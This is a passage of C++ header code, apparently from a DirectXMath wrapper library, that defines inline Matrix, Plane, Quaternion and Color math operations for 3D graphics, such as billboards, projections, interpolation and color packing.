if ( XMVector3Less( N, g_XMEpsilon ) )
{
if ( cameraForward )
{
XMVECTOR F = XMLoadFloat3( cameraForward );
Z = XMVectorNegate( F );
}
else
Z = g_XMNegIdentityR2;
}
else
{
Z = XMVector3Normalize( Z );
}
XMVECTOR up = XMLoadFloat3( &cameraUp );
XMVECTOR X = XMVector3Cross( up, Z );
X = XMVector3Normalize( X );
XMVECTOR Y = XMVector3Cross( Z, X );
XMMATRIX M;
M.r[0] = X;
M.r[1] = Y;
M.r[2] = Z;
M.r[3] = XMVectorSetW( O, 1.f );
Matrix R;
XMStoreFloat4x4( &R, M );
return R;
}
_Use_decl_annotations_
inline Matrix Matrix::CreateConstrainedBillboard( const Vector3& object, const Vector3& cameraPosition, const Vector3& rotateAxis,
const Vector3* cameraForward, const Vector3* objectForward )
{
using namespace DirectX;
static const XMVECTORF32 s_minAngle = { 0.99825467075f, 0.99825467075f, 0.99825467075f, 0.99825467075f }; // 1.0 - XMConvertToRadians( 0.1f );
XMVECTOR O = XMLoadFloat3( &object );
XMVECTOR C = XMLoadFloat3( &cameraPosition );
XMVECTOR faceDir = XMVectorSubtract( O, C );
XMVECTOR N = XMVector3LengthSq( faceDir );
if (XMVector3Less(N, g_XMEpsilon))
{
if (cameraForward)
{
XMVECTOR F = XMLoadFloat3( cameraForward );
faceDir = XMVectorNegate( F );
}
else
faceDir = g_XMNegIdentityR2;
}
else
{
faceDir = XMVector3Normalize( faceDir );
}
XMVECTOR Y = XMLoadFloat3( &rotateAxis );
XMVECTOR X, Z;
XMVECTOR dot = XMVectorAbs( XMVector3Dot( Y, faceDir ) );
if ( XMVector3Greater( dot, s_minAngle ) )
{
if ( objectForward )
{
Z = XMLoadFloat3( objectForward );
dot = XMVectorAbs( XMVector3Dot( Y, Z ) );
if ( XMVector3Greater( dot, s_minAngle ) )
{
dot = XMVectorAbs( XMVector3Dot( Y, g_XMNegIdentityR2 ) );
Z = ( XMVector3Greater( dot, s_minAngle ) ) ? g_XMIdentityR0 : g_XMNegIdentityR2;
}
}
else
{
dot = XMVectorAbs( XMVector3Dot( Y, g_XMNegIdentityR2 ) );
Z = ( XMVector3Greater( dot, s_minAngle ) ) ? g_XMIdentityR0 : g_XMNegIdentityR2;
}
X = XMVector3Cross( Y, Z );
X = XMVector3Normalize( X );
Z = XMVector3Cross( X, Y );
Z = XMVector3Normalize( Z );
}
else
{
X = XMVector3Cross( Y, faceDir );
X = XMVector3Normalize( X );
Z = XMVector3Cross( X, Y );
Z = XMVector3Normalize( Z );
}
XMMATRIX M;
M.r[0] = X;
M.r[1] = Y;
M.r[2] = Z;
M.r[3] = XMVectorSetW( O, 1.f );
Matrix R;
XMStoreFloat4x4( &R, M );
return R;
}
inline Matrix Matrix::CreateTranslation( const Vector3& position )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixTranslation( position.x, position.y, position.z ) );
return R;
}
inline Matrix Matrix::CreateTranslation( float x, float y, float z )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixTranslation( x, y, z ) );
return R;
}
inline Matrix Matrix::CreateScale( const Vector3& scales )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixScaling( scales.x, scales.y, scales.z ) );
return R;
}
inline Matrix Matrix::CreateScale( float xs, float ys, float zs )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixScaling( xs, ys, zs ) );
return R;
}
inline Matrix Matrix::CreateScale( float scale )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixScaling( scale, scale, scale ) );
return R;
}
inline Matrix Matrix::CreateRotationX( float radians )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixRotationX( radians ) );
return R;
}
inline Matrix Matrix::CreateRotationY( float radians )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixRotationY( radians ) );
return R;
}
inline Matrix Matrix::CreateRotationZ( float radians )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixRotationZ( radians ) );
return R;
}
inline Matrix Matrix::CreateFromAxisAngle( const Vector3& axis, float angle )
{
using namespace DirectX;
Matrix R;
XMVECTOR a = XMLoadFloat3( &axis );
XMStoreFloat4x4( &R, XMMatrixRotationAxis( a, angle ) );
return R;
}
inline Matrix Matrix::CreatePerspectiveFieldOfView( float fov, float aspectRatio, float nearPlane, float farPlane )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixPerspectiveFovRH( fov, aspectRatio, nearPlane, farPlane ) );
return R;
}
inline Matrix Matrix::CreatePerspective( float width, float height, float nearPlane, float farPlane )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixPerspectiveRH( width, height, nearPlane, farPlane ) );
return R;
}
inline Matrix Matrix::CreatePerspectiveOffCenter( float left, float right, float bottom, float top, float nearPlane, float farPlane )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixPerspectiveOffCenterRH( left, right, bottom, top, nearPlane, farPlane ) );
return R;
}
inline Matrix Matrix::CreateOrthographic( float width, float height, float zNearPlane, float zFarPlane )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixOrthographicRH( width, height, zNearPlane, zFarPlane ) );
return R;
}
inline Matrix Matrix::CreateOrthographicOffCenter( float left, float right, float bottom, float top, float zNearPlane, float zFarPlane )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixOrthographicOffCenterRH( left, right, bottom, top, zNearPlane, zFarPlane ) );
return R;
}
inline Matrix Matrix::CreateLookAt( const Vector3& eye, const Vector3& target, const Vector3& up )
{
using namespace DirectX;
Matrix R;
XMVECTOR eyev = XMLoadFloat3( &eye );
XMVECTOR targetv = XMLoadFloat3( &target );
XMVECTOR upv = XMLoadFloat3( &up );
XMStoreFloat4x4( &R, XMMatrixLookAtRH( eyev, targetv, upv ) );
return R;
}
inline Matrix Matrix::CreateWorld( const Vector3& position, const Vector3& forward, const Vector3& up )
{
using namespace DirectX;
XMVECTOR zaxis = XMVector3Normalize( XMVectorNegate( XMLoadFloat3( &forward ) ) );
XMVECTOR yaxis = XMLoadFloat3( &up );
XMVECTOR xaxis = XMVector3Normalize( XMVector3Cross( yaxis, zaxis ) );
yaxis = XMVector3Cross( zaxis, xaxis );
Matrix R;
XMStoreFloat3( reinterpret_cast<XMFLOAT3*>( &R._11 ), xaxis );
XMStoreFloat3( reinterpret_cast<XMFLOAT3*>( &R._21 ), yaxis );
XMStoreFloat3( reinterpret_cast<XMFLOAT3*>( &R._31 ), zaxis );
R._14 = R._24 = R._34 = 0.f;
R._41 = position.x; R._42 = position.y; R._43 = position.z;
R._44 = 1.f;
return R;
}
inline Matrix Matrix::CreateFromQuaternion( const Quaternion& rotation )
{
using namespace DirectX;
Matrix R;
XMVECTOR quatv = XMLoadFloat4( &rotation );
XMStoreFloat4x4( &R, XMMatrixRotationQuaternion( quatv ) );
return R;
}
inline Matrix Matrix::CreateFromYawPitchRoll( float yaw, float pitch, float roll )
{
using namespace DirectX;
Matrix R;
XMStoreFloat4x4( &R, XMMatrixRotationRollPitchYaw( pitch, yaw, roll ) );
return R;
}
inline Matrix Matrix::CreateShadow( const Vector3& lightDir, const Plane& plane )
{
using namespace DirectX;
Matrix R;
XMVECTOR light = XMLoadFloat3( &lightDir );
XMVECTOR planev = XMLoadFloat4( &plane );
XMStoreFloat4x4( &R, XMMatrixShadow( planev, light ) );
return R;
}
inline Matrix Matrix::CreateReflection( const Plane& plane )
{
using namespace DirectX;
Matrix R;
XMVECTOR planev = XMLoadFloat4( &plane );
XMStoreFloat4x4( &R, XMMatrixReflect( planev ) );
return R;
}
inline void Matrix::Lerp( const Matrix& M1, const Matrix& M2, float t, Matrix& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._41) );
x1 = XMVectorLerp( x1, y1, t );
x2 = XMVectorLerp( x2, y2, t );
x3 = XMVectorLerp( x3, y3, t );
x4 = XMVectorLerp( x4, y4, t );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._41), x4 );
}
inline Matrix Matrix::Lerp( const Matrix& M1, const Matrix& M2, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._41) );
x1 = XMVectorLerp( x1, y1, t );
x2 = XMVectorLerp( x2, y2, t );
x3 = XMVectorLerp( x3, y3, t );
x4 = XMVectorLerp( x4, y4, t );
Matrix result;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&result._41), x4 );
return result;
}
inline void Matrix::Transform( const Matrix& M, const Quaternion& rotation, Matrix& result )
{
using namespace DirectX;
XMVECTOR quatv = XMLoadFloat4( &rotation );
XMMATRIX M0 = XMLoadFloat4x4( &M );
XMMATRIX M1 = XMMatrixRotationQuaternion( quatv );
XMStoreFloat4x4( &result, XMMatrixMultiply( M0, M1 ) );
}
inline Matrix Matrix::Transform( const Matrix& M, const Quaternion& rotation )
{
using namespace DirectX;
XMVECTOR quatv = XMLoadFloat4( &rotation );
XMMATRIX M0 = XMLoadFloat4x4( &M );
XMMATRIX M1 = XMMatrixRotationQuaternion( quatv );
Matrix result;
XMStoreFloat4x4( &result, XMMatrixMultiply( M0, M1 ) );
return result;
}
/****************************************************************************
*
* Plane
*
****************************************************************************/
inline Plane::Plane(const Vector3& point1, const Vector3& point2, const Vector3& point3 )
{
using namespace DirectX;
XMVECTOR P0 = XMLoadFloat3( &point1 );
XMVECTOR P1 = XMLoadFloat3( &point2 );
XMVECTOR P2 = XMLoadFloat3( &point3 );
XMStoreFloat4( this, XMPlaneFromPoints( P0, P1, P2 ) );
}
inline Plane::Plane(const Vector3& point, const Vector3& normal)
{
using namespace DirectX;
XMVECTOR P = XMLoadFloat3( &point );
XMVECTOR N = XMLoadFloat3( &normal );
XMStoreFloat4( this, XMPlaneFromPointNormal( P, N ) );
}
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Plane::operator == ( const Plane& p ) const
{
using namespace DirectX;
XMVECTOR p1 = XMLoadFloat4( this );
XMVECTOR p2 = XMLoadFloat4( &p );
return XMPlaneEqual( p1, p2 );
}
inline bool Plane::operator != ( const Plane& p ) const
{
using namespace DirectX;
XMVECTOR p1 = XMLoadFloat4( this );
XMVECTOR p2 = XMLoadFloat4( &p );
return XMPlaneNotEqual( p1, p2 );
}
//------------------------------------------------------------------------------
// Plane operations
//------------------------------------------------------------------------------
inline void Plane::Normalize()
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( this );
XMStoreFloat4( this, XMPlaneNormalize( p ) );
}
inline void Plane::Normalize( Plane& result ) const
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( this );
XMStoreFloat4( &result, XMPlaneNormalize( p ) );
}
inline float Plane::Dot( const Vector4& v ) const
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( this );
XMVECTOR v0 = XMLoadFloat4( &v );
return XMVectorGetX( XMPlaneDot( p, v0 ) );
}
inline float Plane::DotCoordinate( const Vector3& position ) const
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( this );
XMVECTOR v0 = XMLoadFloat3( &position );
return XMVectorGetX( XMPlaneDotCoord( p, v0 ) );
}
inline float Plane::DotNormal( const Vector3& normal ) const
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( this );
XMVECTOR n0 = XMLoadFloat3( &normal );
return XMVectorGetX( XMPlaneDotNormal( p, n0 ) );
}
//------------------------------------------------------------------------------
// Static functions
//------------------------------------------------------------------------------
inline void Plane::Transform( const Plane& plane, const Matrix& M, Plane& result )
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( &plane );
XMMATRIX m0 = XMLoadFloat4x4( &M );
XMStoreFloat4( &result, XMPlaneTransform( p, m0 ) );
}
inline Plane Plane::Transform( const Plane& plane, const Matrix& M )
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( &plane );
XMMATRIX m0 = XMLoadFloat4x4( &M );
Plane result;
XMStoreFloat4( &result, XMPlaneTransform( p, m0 ) );
return result;
}
inline void Plane::Transform( const Plane& plane, const Quaternion& rotation, Plane& result )
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( &plane );
XMVECTOR q = XMLoadFloat4( &rotation );
XMVECTOR X = XMVector3Rotate( p, q );
X = XMVectorSelect( p, X, g_XMSelect1110 ); // result.d = plane.d
XMStoreFloat4( &result, X );
}
inline Plane Plane::Transform( const Plane& plane, const Quaternion& rotation )
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( &plane );
XMVECTOR q = XMLoadFloat4( &rotation );
XMVECTOR X = XMVector3Rotate( p, q );
X = XMVectorSelect( p, X, g_XMSelect1110 ); // result.d = plane.d
Plane result;
XMStoreFloat4( &result, X );
return result;
}
/****************************************************************************
*
* Quaternion
*
****************************************************************************/
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Quaternion::operator == ( const Quaternion& q ) const
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( this );
XMVECTOR q2 = XMLoadFloat4( &q );
return XMQuaternionEqual( q1, q2 );
}
inline bool Quaternion::operator != ( const Quaternion& q ) const
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( this );
XMVECTOR q2 = XMLoadFloat4( &q );
return XMQuaternionNotEqual( q1, q2 );
}
//------------------------------------------------------------------------------
// Assignment operators
//------------------------------------------------------------------------------
inline Quaternion& Quaternion::operator+= (const Quaternion& q)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( this );
XMVECTOR q2 = XMLoadFloat4( &q );
XMStoreFloat4( this, XMVectorAdd( q1, q2 ) );
return *this;
}
inline Quaternion& Quaternion::operator-= (const Quaternion& q)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( this );
XMVECTOR q2 = XMLoadFloat4( &q );
XMStoreFloat4( this, XMVectorSubtract( q1, q2 ) );
return *this;
}
inline Quaternion& Quaternion::operator*= (const Quaternion& q)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( this );
XMVECTOR q2 = XMLoadFloat4( &q );
XMStoreFloat4( this, XMQuaternionMultiply( q1, q2 ) );
return *this;
}
inline Quaternion& Quaternion::operator*= (float S)
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
XMStoreFloat4( this, XMVectorScale( q, S ) );
return *this;
}
inline Quaternion& Quaternion::operator/= (const Quaternion& q)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( this );
XMVECTOR q2 = XMLoadFloat4( &q );
q2 = XMQuaternionInverse( q2 );
XMStoreFloat4( this, XMQuaternionMultiply( q1, q2 ) );
return *this;
}
//------------------------------------------------------------------------------
// Urnary operators
//------------------------------------------------------------------------------
inline Quaternion Quaternion::operator- () const
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
Quaternion R;
XMStoreFloat4( &R, XMVectorNegate( q ) );
return R;
}
//------------------------------------------------------------------------------
// Binary operators
//------------------------------------------------------------------------------
inline Quaternion operator+ (const Quaternion& Q1, const Quaternion& Q2)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( &Q1 );
XMVECTOR q2 = XMLoadFloat4( &Q2 );
Quaternion R;
XMStoreFloat4( &R, XMVectorAdd( q1, q2 ) );
return R;
}
inline Quaternion operator- (const Quaternion& Q1, const Quaternion& Q2)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( &Q1 );
XMVECTOR q2 = XMLoadFloat4( &Q2 );
Quaternion R;
XMStoreFloat4( &R, XMVectorSubtract( q1, q2 ) );
return R;
}
inline Quaternion operator* (const Quaternion& Q1, const Quaternion& Q2)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( &Q1 );
XMVECTOR q2 = XMLoadFloat4( &Q2 );
Quaternion R;
XMStoreFloat4( &R, XMQuaternionMultiply( q1, q2 ) );
return R;
}
inline Quaternion operator* (const Quaternion& Q, float S)
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( &Q );
Quaternion R;
XMStoreFloat4( &R, XMVectorScale( q, S ) );
return R;
}
inline Quaternion operator/ (const Quaternion& Q1, const Quaternion& Q2)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( &Q1 );
XMVECTOR q2 = XMLoadFloat4( &Q2 );
q2 = XMQuaternionInverse( q2 );
Quaternion R;
XMStoreFloat4( &R, XMQuaternionMultiply( q1, q2 ) );
return R;
}
inline Quaternion operator* (float S, const Quaternion& Q)
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( &Q );
Quaternion R;
XMStoreFloat4( &R, XMVectorScale( q1, S ) );
return R;
}
//------------------------------------------------------------------------------
// Quaternion operations
//------------------------------------------------------------------------------
inline float Quaternion::Length() const
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
return XMVectorGetX( XMQuaternionLength( q ) );
}
inline float Quaternion::LengthSquared() const
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
return XMVectorGetX( XMQuaternionLengthSq( q ) );
}
inline void Quaternion::Normalize()
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
XMStoreFloat4( this, XMQuaternionNormalize( q ) );
}
inline void Quaternion::Normalize( Quaternion& result ) const
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
XMStoreFloat4( &result, XMQuaternionNormalize( q ) );
}
inline void Quaternion::Conjugate()
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
XMStoreFloat4( this, XMQuaternionConjugate( q ) );
}
inline void Quaternion::Conjugate( Quaternion& result ) const
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
XMStoreFloat4( &result, XMQuaternionConjugate( q ) );
}
inline void Quaternion::Inverse( Quaternion& result ) const
{
using namespace DirectX;
XMVECTOR q = XMLoadFloat4( this );
XMStoreFloat4( &result, XMQuaternionInverse( q ) );
}
inline float Quaternion::Dot( const Quaternion& q ) const
{
using namespace DirectX;
XMVECTOR q1 = XMLoadFloat4( this );
XMVECTOR q2 = XMLoadFloat4( &q );
return XMVectorGetX( XMQuaternionDot( q1, q2 ) );
}
//------------------------------------------------------------------------------
// Static functions
//------------------------------------------------------------------------------
inline Quaternion Quaternion::CreateFromAxisAngle( const Vector3& axis, float angle )
{
using namespace DirectX;
XMVECTOR a = XMLoadFloat3( &axis );
Quaternion R;
XMStoreFloat4( &R, XMQuaternionRotationAxis( a, angle ) );
return R;
}
inline Quaternion Quaternion::CreateFromYawPitchRoll( float yaw, float pitch, float roll )
{
using namespace DirectX;
Quaternion R;
XMStoreFloat4( &R, XMQuaternionRotationRollPitchYaw( pitch, yaw, roll ) );
return R;
}
inline Quaternion Quaternion::CreateFromRotationMatrix( const Matrix& M )
{
using namespace DirectX;
XMMATRIX M0 = XMLoadFloat4x4( &M );
Quaternion R;
XMStoreFloat4( &R, XMQuaternionRotationMatrix( M0 ) );
return R;
}
inline void Quaternion::Lerp( const Quaternion& q1, const Quaternion& q2, float t, Quaternion& result )
{
using namespace DirectX;
XMVECTOR Q0 = XMLoadFloat4( &q1 );
XMVECTOR Q1 = XMLoadFloat4( &q2 );
XMVECTOR dot = XMVector4Dot( Q0, Q1 );
XMVECTOR R;
if ( XMVector4GreaterOrEqual( dot, XMVectorZero() ) )
{
R = XMVectorLerp( Q0, Q1, t );
}
else
{
XMVECTOR tv = XMVectorReplicate( t );
XMVECTOR t1v = XMVectorReplicate( 1.f - t );
XMVECTOR X0 = XMVectorMultiply( Q0, t1v );
XMVECTOR X1 = XMVectorMultiply( Q1, tv );
R = XMVectorSubtract( X0, X1 );
}
XMStoreFloat4( &result, XMQuaternionNormalize( R ) );
}
inline Quaternion Quaternion::Lerp( const Quaternion& q1, const Quaternion& q2, float t )
{
using namespace DirectX;
XMVECTOR Q0 = XMLoadFloat4( &q1 );
XMVECTOR Q1 = XMLoadFloat4( &q2 );
XMVECTOR dot = XMVector4Dot( Q0, Q1 );
XMVECTOR R;
if ( XMVector4GreaterOrEqual( dot, XMVectorZero() ) )
{
R = XMVectorLerp( Q0, Q1, t );
}
else
{
XMVECTOR tv = XMVectorReplicate( t );
XMVECTOR t1v = XMVectorReplicate( 1.f - t );
XMVECTOR X0 = XMVectorMultiply( Q0, t1v );
XMVECTOR X1 = XMVectorMultiply( Q1, tv );
R = XMVectorSubtract( X0, X1 );
}
Quaternion result;
XMStoreFloat4( &result, XMQuaternionNormalize( R ) );
return result;
}
inline void Quaternion::Slerp( const Quaternion& q1, const Quaternion& q2, float t, Quaternion& result )
{
using namespace DirectX;
XMVECTOR Q0 = XMLoadFloat4( &q1 );
XMVECTOR Q1 = XMLoadFloat4( &q2 );
XMStoreFloat4( &result, XMQuaternionSlerp( Q0, Q1, t ) );
}
inline Quaternion Quaternion::Slerp( const Quaternion& q1, const Quaternion& q2, float t )
{
using namespace DirectX;
XMVECTOR Q0 = XMLoadFloat4( &q1 );
XMVECTOR Q1 = XMLoadFloat4( &q2 );
Quaternion result;
XMStoreFloat4( &result, XMQuaternionSlerp( Q0, Q1, t ) );
return result;
}
inline void Quaternion::Concatenate( const Quaternion& q1, const Quaternion& q2, Quaternion& result )
{
using namespace DirectX;
XMVECTOR Q0 = XMLoadFloat4( &q1 );
XMVECTOR Q1 = XMLoadFloat4( &q2 );
XMStoreFloat4( &result, XMQuaternionMultiply( Q1, Q0 ) );
}
inline Quaternion Quaternion::Concatenate( const Quaternion& q1, const Quaternion& q2 )
{
using namespace DirectX;
XMVECTOR Q0 = XMLoadFloat4( &q1 );
XMVECTOR Q1 = XMLoadFloat4( &q2 );
Quaternion result;
XMStoreFloat4( &result, XMQuaternionMultiply( Q1, Q0 ) );
return result;
}
/****************************************************************************
*
* Color
*
****************************************************************************/
inline Color::Color( const DirectX::PackedVector::XMCOLOR& Packed )
{
using namespace DirectX;
XMStoreFloat4( this, PackedVector::XMLoadColor( &Packed ) );
}
inline Color::Color( const DirectX::PackedVector::XMUBYTEN4& Packed )
{
using namespace DirectX;
XMStoreFloat4( this, PackedVector::XMLoadUByteN4( &Packed ) );
}
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Color::operator == ( const Color& c ) const
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( this );
XMVECTOR c2 = XMLoadFloat4( &c );
return XMColorEqual( c1, c2 );
}
inline bool Color::operator != ( const Color& c ) const
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( this );
XMVECTOR c2 = XMLoadFloat4( &c );
return XMColorNotEqual( c1, c2 );
}
//------------------------------------------------------------------------------
// Assignment operators
//------------------------------------------------------------------------------
inline Color& Color::operator= (const DirectX::PackedVector::XMCOLOR& Packed)
{
using namespace DirectX;
XMStoreFloat4( this, PackedVector::XMLoadColor( &Packed ) );
return *this;
}
inline Color& Color::operator= (const DirectX::PackedVector::XMUBYTEN4& Packed)
{
using namespace DirectX;
XMStoreFloat4( this, PackedVector::XMLoadUByteN4( &Packed ) );
return *this;
}
inline Color& Color::operator+= (const Color& c)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( this );
XMVECTOR c2 = XMLoadFloat4( &c );
XMStoreFloat4( this, XMVectorAdd( c1, c2 ) );
return *this;
}
inline Color& Color::operator-= (const Color& c)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( this );
XMVECTOR c2 = XMLoadFloat4( &c );
XMStoreFloat4( this, XMVectorSubtract( c1, c2 ) );
return *this;
}
inline Color& Color::operator*= (const Color& c)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( this );
XMVECTOR c2 = XMLoadFloat4( &c );
XMStoreFloat4( this, XMVectorMultiply( c1, c2 ) );
return *this;
}
inline Color& Color::operator*= (float S)
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( this, XMVectorScale( c, S ) );
return *this;
}
inline Color& Color::operator/= (const Color& c)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( this );
XMVECTOR c2 = XMLoadFloat4( &c );
XMStoreFloat4( this, XMVectorDivide( c1, c2 ) );
return *this;
}
//------------------------------------------------------------------------------
// Urnary operators
//------------------------------------------------------------------------------
inline Color Color::operator- () const
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
Color R;
XMStoreFloat4( &R, XMVectorNegate( c ) );
return R;
}
//------------------------------------------------------------------------------
// Binary operators
//------------------------------------------------------------------------------
inline Color operator+ (const Color& C1, const Color& C2)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( &C1 );
XMVECTOR c2 = XMLoadFloat4( &C2 );
Color R;
XMStoreFloat4( &R, XMVectorAdd( c1, c2 ) );
return R;
}
inline Color operator- (const Color& C1, const Color& C2)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( &C1 );
XMVECTOR c2 = XMLoadFloat4( &C2 );
Color R;
XMStoreFloat4( &R, XMVectorSubtract( c1, c2 ) );
return R;
}
inline Color operator* (const Color& C1, const Color& C2)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( &C1 );
XMVECTOR c2 = XMLoadFloat4( &C2 );
Color R;
XMStoreFloat4( &R, XMVectorMultiply( c1, c2 ) );
return R;
}
inline Color operator* (const Color& C, float S)
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( &C );
Color R;
XMStoreFloat4( &R, XMVectorScale( c, S ) );
return R;
}
inline Color operator/ (const Color& C1, const Color& C2)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( &C1 );
XMVECTOR c2 = XMLoadFloat4( &C2 );
Color R;
XMStoreFloat4( &R, XMVectorDivide( c1, c2 ) );
return R;
}
inline Color operator* (float S, const Color& C)
{
using namespace DirectX;
XMVECTOR c1 = XMLoadFloat4( &C );
Color R;
XMStoreFloat4( &R, XMVectorScale( c1, S ) );
return R;
}
//------------------------------------------------------------------------------
// Color operations
//------------------------------------------------------------------------------
inline DirectX::PackedVector::XMCOLOR Color::BGRA() const
{
using namespace DirectX;
XMVECTOR clr = XMLoadFloat4( this );
PackedVector::XMCOLOR Packed;
PackedVector::XMStoreColor( &Packed, clr );
return Packed;
}
inline DirectX::PackedVector::XMUBYTEN4 Color::RGBA() const
{
using namespace DirectX;
XMVECTOR clr = XMLoadFloat4( this );
PackedVector::XMUBYTEN4 Packed;
PackedVector::XMStoreUByteN4( &Packed, clr );
return Packed;
}
inline Vector3 Color::ToVector3() const
{
return Vector3( x, y, z );
}
inline Vector4 Color::ToVector4() const
{
return Vector4( x, y, z, w );
}
inline void Color::Negate()
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( this, XMColorNegative( c) );
}
inline void Color::Negate( Color& result ) const
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( &result, XMColorNegative( c ) );
}
inline void Color::Saturate()
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( this, XMVectorSaturate( c ) );
}
inline void Color::Saturate( Color& result ) const
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( &result, XMVectorSaturate( c ) );
}
inline void Color::Premultiply()
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMVECTOR a = XMVectorSplatW( c );
a = XMVectorSelect( g_XMIdentityR3, a, g_XMSelect1110 );
XMStoreFloat4( this, XMVectorMultiply( c, a ) );
}
inline void Color::Premultiply( Color& result ) const
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMVECTOR a = XMVectorSplatW( c );
a = XMVectorSelect( g_XMIdentityR3, a, g_XMSelect1110 );
